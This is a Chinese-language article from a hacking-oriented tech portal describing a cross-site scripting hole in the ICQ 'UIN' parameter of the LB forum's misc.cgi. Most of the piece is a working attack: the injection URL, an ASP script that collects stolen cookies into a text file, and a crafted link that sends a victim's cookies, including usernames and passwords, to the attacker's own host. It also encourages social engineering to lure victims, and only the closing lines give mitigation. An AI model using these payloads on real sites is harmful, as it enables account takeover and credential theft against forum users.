主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

编程语言
程序代码
WIN/*NIX编程
其他类别
JAVA专区

 
RHU阅读排行
·Windows网络编程经验小结
·Windows XP Service Pack 2 应用程序兼容性 — 补充脚本
·网络扫描器的设计与实现
·在VB中调用Office助手
·非法探取密码的原理及其防范
·XP终端服务远程登录批处理
·在LinuxShell程序中进行身份验证
·利用键盘钩子开发按键发音程序
·LB论坛(所有版本)跨站脚本漏洞
·通过 Visual C++ 的编程模型和编译器优化增强您的应用程序

 
 
RHU最新文章
·Win32平台下的Rootkit习作
·Linux如何在系统运行过程中修改内核参数
·Shell编程:Linux系统环境程序设计之路
·汇编创建简单的窗口
·深入浅出Win32多线程程序设计之线程控制
·VC实现Win2000下屏蔽Ctrl+Alt+Del键
·隐藏任意进程 目录/文件 注册表 端口
·Windows 的多线程程序设计初步 
·Windows应用程序设计的基本术语
·透过代理看世界 用VC++实现http代理

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 程序设计 -> WIN/*NIX编程
LB论坛(所有版本)跨站脚本漏洞

作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2005-3-19 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


 

悉LB系列论坛的朋友可能知道,LB的cookis使用方式有两种,一种是完整路径模式,还有一个就是根目录模式,所谓的完整路径模式在本地是象这样分目录储存的,如:www.target.com/cgi-bin 也就是所有在CGI-BIN目录下生成的COOKIES内容都储存在这里,我想这是作者当初考虑到一个域名下使用多个LB论坛的情况而设计的,而这个选择在达到了他本身设计目的的同时也缩小了跨站脚本的利用范围,真正稍微有难度的利用是在这种模式下的,那么为什么说在根目录模式下的这种类型漏洞的利用就显地很容易了呢? 呵呵,大家可以看一下,在现今FLASH跨站,和图片跨站盛行,而相关技术逐渐成熟的情况下,针对LB这个论坛来说,他一般有两个主目录 分别为 CGI-BIN 和 NON-CGI ,论坛几乎99%的运行文件都储存在CGI-BIN 目录下,而在NON-CGI目录下存储的几乎都是写静态页面文件,和图片,还有一部分就是用户上传的文件。根据我的观察大概80%以上的论坛是允许用户上传自己的头像或html,txt格式的以及FLASH附件的,那么假如一个论坛允许用户上传JPG ,GIF ,SWF 等格式文件,上传后一般储存在NON-CGI目录下,而论坛的COOKIES模式又是根目录模式(所谓根目录模式就是在本地,该域名下的所有COOKIES内容都保存在同一一个域名下,和上面分目录www.target.com/cgi-bin 形成对比就是根目录模式下该论坛的所有COOKIES都储存在本地www.targert.com下,两者的区别就在于后者没有指明具体的目录,也就是说在整个站的所有目录下来“alert(documents.cookie)”都是可以看到你在那个站点的所有COOKIE资料的)
那么抛去论坛本身的XSS(跨站脚本)漏洞不说 ,仅*这些精心构造的图片和FLASH文件就足以达到目了(具体如何用图片,和FLASH达到跨站目的,不是本文讨论内容,暂时不了解的朋友可以参阅相关资料)
所以本文针对的是把COOKIES模式设成完整路径模式的站点,当然设置成根目录模式的站点也一样适用。
问题出在cgi-bin目录下misc.cgi 的这个文件里,也就是论坛好友栏目的ICQ一项,提交的时候没有对UIN 这个变量做任何过滤,和UIN又会作为ICQ号码显示出来,作为正常的提交是这样的
http://www.target.com/cgi-bin/misc.cgi?action=icq&UIN=123456 123456为ICQ号码 ,而如果构造下面的提交:
http://www.target.com/cgi-bin/misc.cgi?action=icq&UIN=<;script>alert(documents.cookie)</script>那么你在论坛的cookies信息就暴露无疑了,如何利用呢,首先你要有一个接受端脚本,来接收传出去的cookies信息,当然COOKIES里面会有你想要的用户名和密码,而这个脚本要放到任何一个自己有域名的空间上,比较普遍的ASP语言的脚本是下面这样的:
在此感谢lcx:
=====================================
<%
testfile=server.mappath("cookies.txt")
msg=request("msg")
set fs=server.createobject("scripting.file *** object")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline(""&msg&"")
thisfile.close
set fs=nothing
%>
把这段代码复制保存为XXX.asp文件。放在你自己的空间上,免费空间到处都是吧~~附带地也会给你一个不管几级的域名吧,同时支持ASP的也不少吧:)


下面我们就可以构造客户端的URL了,我们考虑的是把我们得到的COOKIES传到我们自己的空间,并通过早已放置的脚本保存在一个TXT文件里,从而得到用户信息。


要诱使用户访问的URL构造出来一般是这样的:
http://www.sohu.com/XXX.asp?msg%3d%27%2B" target=_blank>http://www.target.com/cgi-bin/misc.cgi?action=icq&UIN=%3cscript%3ewindow.location.href%3d%2http://www.sohu.com/XXX.asp?msg%3d%27%2Bdocuments.cookie%3c/script%3e
在改变TARGET的名字后,假如用户访问了这个连接,而且他又曾经选择在本地保存COOKIES那么他的COOKIES内容就会自动发往你的空间,并由你先前放置的的那个ASP文件保存为名为cookies.txt的文本文件等待你取回。这里www.sohu.com 是你自己站点放置xxx.asp的路径。 www.target.com是你希望攻击的论坛的URL。
至于怎么样让用户访问这个连接,就*你自己想了,什么社会工程学知识拉~~ 你的机智灵敏加勇敢之类的都可以用上,不过仅限于安全研究,如果用此方法破坏,本人在鄙视之余亦不承担任何法律上直接或间接的责任和损失。


看完本文可能有的朋友会问,要是用户没有选择在本地保存COOKIE怎么办,呵呵,我提示一下,无论用户是否选择保存COOKIE 在本地,他/她的COOKIES信息都是保存在当前浏览器进程里的,聪明的你想到怎么做了吗:),祝你愉快,不要破坏。
本文对于以前对XSS利用方式比较透彻的的朋友,可能只是另一个XSS漏洞,对于新手,由于本文没有从跨站脚本的成因比较透彻地讲起,可能你需要有一些相关的知识作为基础


对于所有使用LB论坛的朋友建议在官方补丁没有出来前首先删除 CGI-BIN目录下的MICE.CGI文件,同时有条件的朋友应该马上把COOKIES模式设置成为 完整路径模式,是在论坛基本变量下设置的吧。

OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • 认知盲区 解惑双网卡双线路DNS解析
  • FlashFXP 简体中文版 3.7.5 Build 1303 Beta[烈火]
  • 确认:番茄花园作者洪磊被检察院批准逮捕
  • 1983年的今天 DNS诞生
  • Windows 2003 IIS 6.0搭建asp+.net+php+jsp+mysql+mssql
  • -文章评论 (关闭)
    ·还没有相关的评论!

    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com